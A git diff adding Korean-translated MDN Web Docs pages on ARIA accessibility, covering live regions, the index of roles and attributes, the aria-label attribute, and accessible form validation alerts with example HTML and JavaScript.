+<p>As the user selects a new planet, the information in the live region will be announced. Because the live region has <code>aria-live="polite"</code>, the screen reader will wait until the user pauses before announcing the update. Thus, moving down in the list and selecting another planet will not announce updates in the live region. Updates in the live region will only be announced for the planet finally chosen.</p>
+
+<p>Here is a screenshot of VoiceOver on Mac announcing the update (via subtitles) to the live region:</p>
+
+<p><img alt="A screenshot of VoiceOver on Mac announcing the update to a live region. Subtitles are shown in the picture." src="https://mdn.mozillademos.org/files/15815/Web_Accessibility_ARIA_ARIA_Live_Regions.png" style="height: 573px; width: 800px;"></p>
+
+<h2 id="Preferring_specialized_live_region_roles">Preferring specialized live region roles</h2>
+
+<p>In the following well-known predefined cases it is better to use a specific provided "live region role":</p>
+
+<table style="width: 100%;">
+ <thead>
+ <tr>
+ <th scope="col">Role</th>
+ <th scope="col">Description</th>
+ <th scope="col">Compatibility Notes</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>log</td>
+ <td>Chat, error, game or other type of log</td>
+ <td>To maximize compatibility, add a redundant <code>aria-live="polite"</code> when using this role.</td>
+ </tr>
+ <tr>
+ <td>status</td>
+ <td>A status bar or area of the screen that provides an updated status of some kind. Screen reader users have a special command to read the current status.</td>
+ <td>To maximize compatibility, add a redundant <code>aria-live="polite"</code> when using this role.</td>
+ </tr>
+ <tr>
+ <td>alert</td>
+ <td>Error or warning message that flashes on the screen. Alerts are particularly important for client side validation notices to users. (TBD: link to ARIA form tutorial with aria info)</td>
+ <td>To maximize compatibility, some people recommend adding a redundant <code>aria-live="assertive"</code> when using this role. However, adding both <code>aria-live</code> and <code>role="alert"</code> causes double speaking issues in VoiceOver on iOS.</td>
+ </tr>
+ <tr>
+ <td>progressbar</td>
+ <td>A hybrid between a widget and a live region. Use this with aria-valuemin, aria-valuenow and aria-valuemax. (TBD: add more info here).</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>marquee</td>
+ <td>for text which scrolls, such as a stock ticker.</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>timer</td>
+ <td>or any kind of timer or clock, such as a countdown timer or stopwatch readout.</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Advanced_live_regions">Advanced live regions</h2>
+
+<p>(TBD: more granular information on the support of the individual attributes with combinations of OS/Browser/AT).</p>
+
+<p>General support for Live Regions was added to JAWS on version 10.0. In Windows Eyes supports Live Regions since version 8.0 "for use outside of Browse Mode for Microsoft Internet Explorer and Mozilla Firefox". NVDA added some basic support for Live Regions for Mozilla Firefox back in 2008 and was improved in 2010 and 2014. In 2015, basic support was also added for Internet Explorer (MSHTML).</p>
+
+<p>The Paciello Group has some <a href="https://www.paciellogroup.com/blog/2014/03/screen-reader-support-aria-live-regions/">information about the state of the support of Live Regions </a>(2014). Paul J. Adam has researched<a href="http://pauljadam.com/demos/aria-atomic-relevant.html"> the support of Aria-Atomic and Aria-Relevant</a> in particular. </p>
+
+<ol>
+ <li><code><strong>aria-atomic</strong></code>: The <code>aria-atomic=BOOLEAN</code> is used to set whether or not the screen reader should always present the live region as a whole, even if only part of the region changes. The possible settings are: <code>false</code> or <code>true</code>. The default setting is <code>false</code>.</li>
+ <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute" title="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute"><strong>aria-relevant</strong></a></code>: The <code>aria-relevant=[LIST_OF_CHANGES]</code> is used to set what types of changes are relevant to a live region. The possible settings are one or more of: <code>additions</code>, <code>removals</code>, <code>text</code>, <code>all</code>. The default setting is: <code>additions text</code>.</li>
+ <li><code><strong>aria-labelledby</strong></code>: The <code>aria-labelledby=[IDLIST]</code> is used to associate a region with its labels, similar to aria-controls but instead associating labels to the region. and label identifiers are separated with a space.</li>
+ <li><code><strong>aria-describedby</strong></code>: The <code>aria-describedby=[IDLIST]</code> is used to associate a region with its descriptions, similar to aria-controls but instead associating descriptions to the region and description identifiers are separated with a space.</li>
+</ol>
+
+<h3 id="Advanced_use_case_Clock"><span class="mw-headline" id="Use_Case:_Clock">Advanced use case: Clock</span></h3>
+
+<p>As an illustration of <code>aria-atomic</code>, consider a site with a simple clock, showing hours and minutes. The clock is updated each minute, with the new remaining time simply overwriting the current content.</p>
+
+<pre class="notranslate">&lt;div id="clock" role="timer" aria-live="polite"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: js notranslate">/* basic JavaScript to update the clock */
+
+setInterval(function() {
+ var now = new Date();
+ document.getElementById('clock').innerHTML = "Time: " + now.getHours() + ":" + ("0"+now.getMinutes()).substr(-2);
+}, 60000);
+</pre>
+
+<p>The first time the function executes, the entirety of the string that is added will be announced. On subsequent calls, only the parts of the content that changed compared to the previous content will be announced. For instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users.</p>
+
+<p>One way around this would be to first clear the contents of the live region, and then inject the new content. However, this can sometimes be unreliable, as it's dependent on the exact timing of these two updates.</p>
+
+<p><code>aria-atomic="true"</code> ensures that each time the live region is updated, the entirety of the content is announced in full (e.g. "Time: 17:34").</p>
+
+<pre class="notranslate">&lt;div id="clock" role="timer" aria-live="polite" aria-atomic="true"&gt;&lt;/div&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: As observed, setting/updating the innerHTML again would cause the whole text to be read again, whether or not you set aria-atomic="true", so the above Clock example does not work as expected.</p>
+</div>
+
+<p class="syntaxbox">A working example of a simple year control for better understanding:</p>
+
+<pre class="syntaxbox notranslate">&lt;div id="date-input"&gt;
+ &lt;label&gt;Year:
+ &lt;input type="text" id="year" value="1990" onblur="change(event)"/&gt;
+ &lt;/label&gt;
+&lt;/div&gt;
+
+&lt;div id="date-output" aria-live="polite"&gt;
+ The set year is:
+ &lt;span id="year-output"&gt;1990&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<p class="syntaxbox"></p>
+
+<pre class="syntaxbox notranslate">function change(event) {
+ var yearOut = document.getElementById("year-output");
+ switch (event.target.id) {
+ case "year":
+ yearOut.innerHTML = event.target.value;
+ break;
+ default:
+  return;
+ }
+};</pre>
+
+<p class="syntaxbox"></p>
+
+<p>Without <code>aria-atomic="true" </code>the screenreader announces only the changed value of year.</p>
+
+<p>With <code>aria-atomic="true"</code>, the screenreader announces "The set year is: <em>changedvalue</em>"</p>
+
+<h3 id="Advanced_use_case_Roster"><span class="mw-headline" id="Use_Case:_Roster">Advanced use case: Roster</span></h3>
+
+<p>A chat site would like to display a list of users currently logged in. Display a list of users where a user's log-in and log-out status will be reflected dynamically (without a page reload).</p>
+
+<pre class="notranslate">&lt;ul id="roster" aria-live="polite" aria-relevant="additions removals"&gt;
+ &lt;!-- use JavaScript to add remove users here--&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>Breakdown of ARIA live properties:</p>
+
+<ul>
+ <li><code>aria-live="polite"</code> indicates that the screen reader should wait until the user is idle before presenting updates to the user. This is the most commonly used value, as interrupting the user with "assertive" might interrupt their flow.</li>
+ <li><code>aria-atomic</code> is not set (<code>false</code> by default) so that only the added or removed users should be spoken and not the entire roster each time.</li>
+ <li><code>aria-relevant="additions removals"</code> ensures that both users added or removed to the roster will be spoken.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles">ARIA roles</a></li>
+</ul>
diff --git a/files/ko/web/accessibility/aria/aria_techniques/index.html b/files/ko/web/accessibility/aria/aria_techniques/index.html
new file mode 100644
index 0000000000..c628a228e1
--- /dev/null
+++ b/files/ko/web/accessibility/aria/aria_techniques/index.html
@@ -0,0 +1,213 @@
+---
+title: 'ARIA 사용하기: 규칙, 상태, 속성'
+slug: Web/Accessibility/ARIA/ARIA_Techniques
+tags:
+ - ARIA
+ - Accessibility
+ - Overview
+ - Reference
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques
+---
+<p class="summary">ARIA defines semantics that can be applied to elements, with these divided into <strong>roles</strong> (defining a type of user interface element) and <strong>states</strong> and <strong>properties</strong> that are supported by a role. Authors must assign an ARIA role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate ARIA semantics (via use of an appropriate HTML element). Addition of ARIA semantics only exposes extra information to a browser's accessibility API, and does not affect a page's DOM.</p>
+
+<h2 id="Roles">Roles</h2>
+
+<h3 id="Widget_roles">Widget roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/button_role" title="Using the button role">Button</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/checkbox_role" title="Using the checkbox role">Checkbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Gridcell_Role">Gridcell</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_link_role" title="Using the Link role">Link</a></li>
+ <li>Menuitem</li>
+ <li>Menuitemcheckbox</li>
+ <li>Menuitemradio</li>
+ <li>Option</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role" title="en/ARIA/ARIA_Techniques/Using_the_progressbar_role">Progressbar</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radio</a></li>
+ <li>Scrollbar</li>
+ <li>Searchbox</li>
+ <li>Separator (when focusable)</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role" title="en/ARIA/ARIA_Techniques/Using_the_slider_role">Slider</a></li>
+ <li>Spinbutton</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Switch_role">Switch</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_Role">Tab</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tabpanel_Role">Tabpanel</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_textbox_role" title="en/ARIA/ARIA_Techniques/Using_the_textbox_role">Textbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Treeitem_Role">Treeitem</a></li>
+</ul>
+</div>
+
+<h3 id="Composite_roles">Composite roles</h3>
+
+<p>The techniques below describe each composite role as well as their required and optional child roles.</p>
+
+<div class="index">
+<ul>
+ <li>Combobox</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Grid_Role">Grid</a> (including <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Row_Role">row</a>, <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Gridcell_Role">gridcell</a>, rowheader, columnheader roles)</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="en/ARIA/ARIA_Techniques/Using_the_listbox_role">Listbox </a> (including option role)</li>
+ <li>Menu</li>
+ <li>Menubar</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radiogroup (see radio role)</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tablist_Role">Tablist</a> (including <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_Role">tab</a> and <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tabpanel_Role">tabpanel</a> roles)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tree_Role">Tree</a></li>
+ <li>Treegrid</li>
+</ul>
+</div>
+
+<h3 id="Document_structure_roles">Document structure roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Application_Role">Application</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Article_Role" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role">Article</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Cell_Role">Cell</a></li>
+ <li>Columnheader</li>
+ <li>Definition</li>
+ <li>Directory</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Document_Role">Document</a></li>
+ <li>Feed</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Figure_Role">Figure</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_group_role" title="en/ARIA/ARIA_Techniques/Using_the_group_role">Group</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/heading_role">Heading</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Role_Img">Img</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/List_role">List</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Listitem_role">Listitem</a></li>
+ <li>Math</li>
+ <li>None</li>
+ <li>Note</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role" title="en/ARIA/ARIA_Techniques/Using_the_presentation_role">Presentation</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Row_Role">Row</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Rowgroup_Role">Rowgroup</a></li>
+ <li>Rowheader</li>
+ <li>Separator</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Table_Role">Table</a></li>
+ <li>Term</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/textbox_role">Textbox</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_toolbar_role" title="en/ARIA/ARIA_Techniques/Using_the_toolbar_role">Toolbar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tooltip_Role">Tooltip</a></li>
+</ul>
+</div>
+
+<h3 id="Landmark_roles">Landmark roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_banner_role" title="en/ARIA/ARIA_Techniques/Using_the_banner_role">Banner</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Complementary_role">Complementary</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Contentinfo_role">Contentinfo</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Form_Role">Form</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">Main</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Navigation_Role">Navigation</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Region_role">Region</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Search_role">Search</a></li>
+</ul>
+</div>
+
+<h3 id="Live_Region_Roles">Live Region Roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Alert_Role">Alert</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_log_role" title="Using the Log role">Log</a></li>
+ <li>Marquee</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role" title="Using the link role">Status</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/ARIA_timer_role">Timer</a></li>
+</ul>
+</div>
+
+<h3 id="Window_Roles">Window Roles</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role">Alertdialog</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/dialog_role">Dialog</a></li>
+</ul>
+</div>
+
+<h2 id="States_and_properties">States and properties</h2>
+
+<h3 id="Widget_attributes">Widget attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-autocomplete</li>
+ <li>aria-checked</li>
+ <li>aria-current</li>
+ <li>aria-disabled</li>
+ <li>aria-errormessage</li>
+ <li>aria-expanded</li>
+ <li>aria-haspopup</li>
+ <li>aria-hidden</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute" title="Using the aria-invalid attribute">aria-invalid</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute" title="Using the aria-labelledby attribute">aria-label</a></li>
+ <li>aria-level</li>
+ <li>aria-modal</li>
+ <li>aria-multiline</li>
+ <li>aria-multiselectable</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute">aria-orientation</a></li>
+ <li>aria-placeholder</li>
+ <li>aria-pressed</li>
+ <li>aria-readonly</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-required_attribute" title="Using the aria-required property">aria-required</a></li>
+ <li>aria-selected</li>
+ <li>aria-sort</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute" title="Using the aria-required attribute">aria-valuemax</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute">aria-valuemin</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute">aria-valuenow</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute">aria-valuetext</a></li>
+</ul>
+</div>
+
+<h3 id="Live_region_attributes">Live region attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-live</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute">aria-relevant</a></li>
+ <li>aria-atomic</li>
+ <li>aria-busy</li>
+</ul>
+</div>
+
+<h3 id="Drag_drop_attributes">Drag &amp; drop attributes</h3>
+
+<div class="index">
+<ul>
+ <li>aria-dropeffect</li>
+ <li>aria-dragged</li>
+</ul>
+</div>
+
+<h3 id="Relationship_attributes">Relationship attributes</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-activedescendant_attribute" title="Role">aria-activedescendant</a></li>
+ <li>aria-colcount</li>
+ <li>aria-colindex</li>
+ <li>aria-colspan</li>
+ <li>aria-controls</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute" title="Using the aria-labelledby attribute">aria-describedby</a></li>
+ <li>aria-details</li>
+ <li>aria-errormessage</li>
+ <li>aria-flowto</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></li>
+ <li>aria-owns</li>
+ <li>aria-posinset</li>
+ <li>aria-rowcount</li>
+ <li>aria-rowindex</li>
+ <li>aria-rowspan</li>
+ <li>aria-setsize</li>
+</ul>
+</div>
+
+<h3 id="MicrosoftEdge-specific_properties">MicrosoftEdge-specific properties</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/API/x-ms-aria-flowfrom">x-ms-aria-flowfrom</a> {{Non-standard_Inline}}</li>
+</ul>
+</div>
diff --git a/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html b/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html
new file mode 100644
index 0000000000..d667416f9d
--- /dev/null
+++ b/files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html
@@ -0,0 +1,66 @@
+---
+title: aria-label 속성 사용
+slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute
+tags:
+ - ARIA
+ - Accessibility
+ - aria-label
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute
+---
+<p><span class="seoSummary"><a class="external" href="https://www.w3.org/TR/wai-aria/#aria-label" rel="external" title="https://www.w3.org/TR/wai-aria/#aria-label"><code>aria-label</code></a> 속성은 현재 요소에 레이블을 정의하기 위해서 사용합니다. 텍스트 레이블이 화면에 표시되지 않을 때에 사용하세요. 만약에 요소에 레이블을 정의하는 화면에 보이는 텍스트가 있다면  <a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="Using the aria-labelledby attribute">aria-labelledby</a>을 대신 사용하세요</span></p>
+
+<p>이 속성은 일반적인 HTML 요소와 함께 사용할 수 있습니다. ARIA <code>role</code> 이 적용된 요소에만 한정되지 않습니다.</p>
+
+<h3 class="editable" id="값">값</h3>
+
+<p>문자열</p>
+
+<h3 class="editable" id="사용자_에이전트와_보조도구에_대한_영향"><span>사용자 에이전트와 보조도구에 대한 영향</span></h3>
+
+<div class="editIcon">
+<h3 class="editable" id="sect1"><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute?action=edit&amp;sectionId=3" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+</div>
+
+<div class="note"><strong>참고:</strong> 보조기기가 이 기술을 처리하는 방법에 대한 의견에는 차이가 있을 수 있습니다. 위에서 제공하는 정보는 그러한 의견 중 하나일 뿐 규범이 아닙니다. </div>
+
+<h2 id="예">예</h2>
+
+<div id="section_5">
+<h4 id="예_1_다수의_레이블">예 1: 다수의 레이블</h4>
+
+<p>아래의 예제에서 버튼은 X가 가운데있는 전형적인 "닫기" 버튼처럼 스타일됩니다. 버튼의 목적이 대화상자를 닫는 것임을 암시하는 것이 없으므로 보조기기에 레이블을 제공하기 위해 <code>aria-label</code> 를 사용합니다.</p>
+</div>
+
+<pre class="deki-transform"><span class="tag">&lt;button aria-label=<span class="str">"Close"</span> onclick=<span class="str">"myDialog.close()"</span>&gt;</span>X<span class="tag">&lt;/button&gt;</span>
+</pre>
+
+<h4 id="동작하는_예">동작하는 예:</h4>
+
+<p> </p>
+
+<h3 id="주의">주의</h3>
+
+<ul>
+ <li>레이블에 대한 가장 일반적인 접근성 API 매핑은 접근 가능한 이름 프로퍼티입니다.</li>
+ <li><code>aria-label</code>이 포함된 속성을 대부분의 자동 번역 서비스는 무시합니다. </li>
+</ul>
+
+<h3 id="Used_by_ARIA_roles">Used by ARIA roles</h3>
+
+<p>베이스 마크업의 모든 요소</p>
+
+<h3 id="관련된_ARIA_기술">관련된 ARIA 기술</h3>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Using the aria-labelledby attribute</a></li>
+</ul>
+
+<h3 id="적합성">적합성</h3>
+
+<p class="comment">TBD: 일반적인 UA와 AT 제품 조합을 위한 서포트 정보를 추가합니다.</p>
+
+<h3 id="추가_리소스">추가 리소스</h3>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/wai-aria/#aria-label" title="https://www.w3.org/TR/wai-aria/#aria-label">WAI-ARIA specification for aria-label</a></li>
+</ul>
diff --git a/files/ko/web/accessibility/aria/forms/alerts/index.html b/files/ko/web/accessibility/aria/forms/alerts/index.html
new file mode 100644
index 0000000000..072f9443b7
--- /dev/null
+++ b/files/ko/web/accessibility/aria/forms/alerts/index.html
@@ -0,0 +1,146 @@
+---
+title: Alerts
+slug: Web/Accessibility/ARIA/forms/alerts
+tags:
+ - ARIA
+ - Forms
+ - Web
+ - 접근성
+translation_of: Web/Accessibility/ARIA/forms/alerts
+---
+<h2 id="문제점">문제점</h2>
+
+<p>엑세스 가능한 오류 검사를 포함하고 싶은 폼, 예를 들어 콘택트 폼이 있습니다. 자주 있는 문제점으로는 Email이 유효하지 않거나, 이름 필드에 성이나 이름이 포함되지 않은 것이 있습니다.</p>
+
+<h2 id="폼">폼</h2>
+
+<p>우선 <a href="https://developer.mozilla.org/ko/docs/Web/Accessibility/ARIA/forms/Basic_form_hints#Required_and_invalid_fields" title="/en/Web/Accessibility/ARIA/forms/Basic_form_hints"><code>aria-required</code> 기술</a>을 읽지 않았다면 먼저 읽어주세요. 여기서는 그것의 확장된 내용을 다룹니다. </p>
+
+<p>여기에 샘플 폼이 있습니다:</p>
+
+<pre class="brush: html"> &lt;form method="post" action="post.php"&gt;
+ &lt;fieldset&gt;
+ &lt;legend&gt;Please enter your contact details&lt;/legend&gt;
+ &lt;label for="name"&gt;Your name (required):&lt;/label&gt;
+ &lt;input name="name" id="name" aria-required="true"/&gt;
+ &lt;br /&gt;
+ &lt;label for="email"&gt;E-Mail address (required):&lt;/label&gt;
+ &lt;input name="email" id="email" aria-required="true"/&gt;
+ &lt;br /&gt;
+ &lt;label for="website"&gt;Website (optional):&lt;/label&gt;
+ &lt;input name="website" id="website"/&gt;
+ &lt;/fieldset&gt;
+ &lt;label for="message"&gt;Please enter your message (required):&lt;/label&gt;
+ &lt;br /&gt;
+ &lt;textarea name="message" id="message" rows="5" cols="80"
+ aria-required="true"&gt;&lt;/textarea&gt;
+ &lt;br /&gt;
+ &lt;input type="submit" name="submit" value="Send message"/&gt;
+ &lt;input type="reset" name="reset" value="Reset form"/&gt;
+ &lt;/form&gt;
+</pre>
+
+<h2 id="유효성_검사_및_사용자에게_알림"><span class="mw-headline" id="Checking_for_validity_and_notifying_the_user">유효성 검사 및 사용자에게 알림</span></h2>
+
+<p>폼 유효성 검사는 여러 단계로 구성됩니다. :</p>
+
+<ol>
+ <li>Email 또는 입력한 이름이 유효한지 확인하십시오. 각 필드는 유효성 검사를 통과하기 위해 충족되어야 하는 일련의 기준이 있습니다. 이 예제를 단순화하기 위해, Email에 '@' 마크가 있는지 이름에는 적어도 하나의 문자가 포함되어 있는지를 확인할 것입니다. </li>
+ <li>만약 위의 기준이 충족되지 않으면, 필드의  <code>aria-invalid</code> 속성에 “<code>true</code>” 값이 주어질 것입니다.</li>
+ <li>기준이 충족되지 않으면 경고를 통해 사용자에게 알립니다. JavaScript의 ‘<code>alert</code>’ function을 사용하는 대신 아림을 위해 간단한 WAI-ARIA 위젯을 사용할 것입니다. 이것은 사용자에게 에러를 알려주지만, Javascript의 기본 ‘<code>alert</code>’ function의 “<code>onblur</code>”로 인해 발생하는 포커스 손실 없이 계속해서 폼을 수정할 수 있게 해줍니다. </li>
+</ol>
+
+<p>아래의 예제는  “<code>head</code>” 의 닫는 태그를 삽입하는 Javascript 코드입니다.:</p>
+
+<pre class="brush: js"> &lt;script type="application/javascript"&gt;
+ function removeOldAlert()
+ {
+ var oldAlert = document.getElementById("alert");
+ if (oldAlert){
+ document.body.removeChild(oldAlert);
+ }
+ }
+
+ function addAlert(aMsg)
+ {
+ removeOldAlert();
+ var newAlert = document.createElement("div");
+ newAlert.setAttribute("role", "alert");
+ newAlert.setAttribute("id", "alert");
+ var msg = document.createTextNode(aMsg);
+ newAlert.appendChild(msg);
+ document.body.appendChild(newAlert);
+ }
+
+ function checkValidity(aID, aSearchTerm, aMsg)
+ {
+ var elem = document.getElementById(aID);
+ var invalid = (elem.value.indexOf(aSearchTerm) &lt; 0);
+ if (invalid) {
+ elem.setAttribute("aria-invalid", "true");
+ addAlert(aMsg);
+ } else {
+ elem.setAttribute("aria-invalid", "false");
+ removeOldAlert();
+ }
+ }
+ &lt;/script&gt;
+</pre>
+
+<h2 id="checkValidity_함수"><span class="mw-headline" id="The_checkValidity_function"><code>checkValidity</code> 함수</span></h2>
+
+<p>Javascript에서 폼 유효성 검사에 사용되는 기본 메소드는 <code>checkValidity</code> 함수입니다. 이 메소드는 세 개의 파라미터를 가집니다: 유효성 검사를 할 <code>input</code>의 ID, 유효성을 확인하기 위해 검색할 검색어, alert에 삽입할 에러 메시지입니다.</p>
+
+<p>유효성을 확인하기 위해, 이 함수는 <code>input</code>의 값 <code>indexOf</code>가 -1보다 큰지 확인합니다. 검색어를 찾을 수 없을 때 <code>-1</code> 혹은 그보다 작은 값을 반환합니다. </p>
+
+<p>만약에 값이 유효하지 않다면 이 함수는 2가지 작업을 수행합니다. </p>
+
+<ol>
+ <li>요소의 <code>aria-invalid</code> 속성을 “<code>true</code>”로 설정합니다. 이 속성은 사용자에게 여기에 유효하지 않은 값이 있다는 것을 알립니다. </li>
+ <li><code>addAlert</code> 함수를 호출하여 제공된 에러 메시지와 함께 alert을 추가합니다. </li>
+</ol>
+
+<p>검색어가 발견되면 <code>aria-invalid</code> 속성은 “<code>false</code>”로 재설정됩니다. 또한 남아있는 모든 alert가 제거됩니다. </p>
+
+<h2 id="addAlert_함수"><span class="mw-headline" id="The_addAlert_function"><code>addAlert</code> 함수</span></h2>
+
+<p>이 함수는 일단 오래된 alert을 제거합니다. 이 함수는 간단합니다. : id가 “<code>alert</code>”인 요소를 찾고, 발견되면 <a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial/Document_Object_Model">document object model</a>.에서 해당 요소를 제거합니다. </p>
+
+<p>다음으로 함수는 alert 테스트를 저장할 <code>div</code> 요소를 만듭니다. 그 <code>div</code>요소는 “<code>alert</code>”이라는 ID를 갖습니다. 그리고  “alert”이라는 role을 갖습니다. 이름에 "aria"가 없지만 사실은 ARIA에서 만들어진 것입니다. role이 간소화를 위해 단순히 HTML로 이식된 <a class="external text" href="http://www.w3.org/TR/xhtml-role/" title="XHTML Role Attribute Module">XHTML Role Attribute Module</a>에 기반하기 때문입니다.</p>
+
